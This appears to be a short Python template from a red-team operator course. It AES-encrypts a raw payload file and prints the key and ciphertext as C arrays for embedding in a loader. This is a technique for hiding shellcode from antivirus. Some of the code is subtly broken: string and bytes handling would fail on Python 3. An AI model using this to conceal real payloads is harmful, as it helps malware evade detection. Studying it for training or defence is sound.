| 123456789101112131415161718192021222324252627282930313233343536 |
- # Red Team Operator course code template
- # payload encryption with AES
- #
- # author: reenz0h (twitter: @sektor7net)
- import sys
- from Crypto.Cipher import AES
- from os import urandom
- import hashlib
- KEY = urandom(16)
- def pad(s):
- # o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
- return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
- def aesenc(plaintext, key):
- k = hashlib.sha256(key).digest()
- iv = 16 * '\x00'
- plaintext = pad(plaintext)
- cipher = AES.new(k, AES.MODE_CBC, iv)
- # o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
- return cipher.encrypt(bytes(plaintext))
- try:
- o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
- plaintext = open(sys.argv[1], "rb").read()
- except:
- print("File argument needed! %s <raw payload file>" % sys.argv[0])
- sys.exit()
- ciphertext = aesenc(plaintext, KEY)
- print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
- print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
|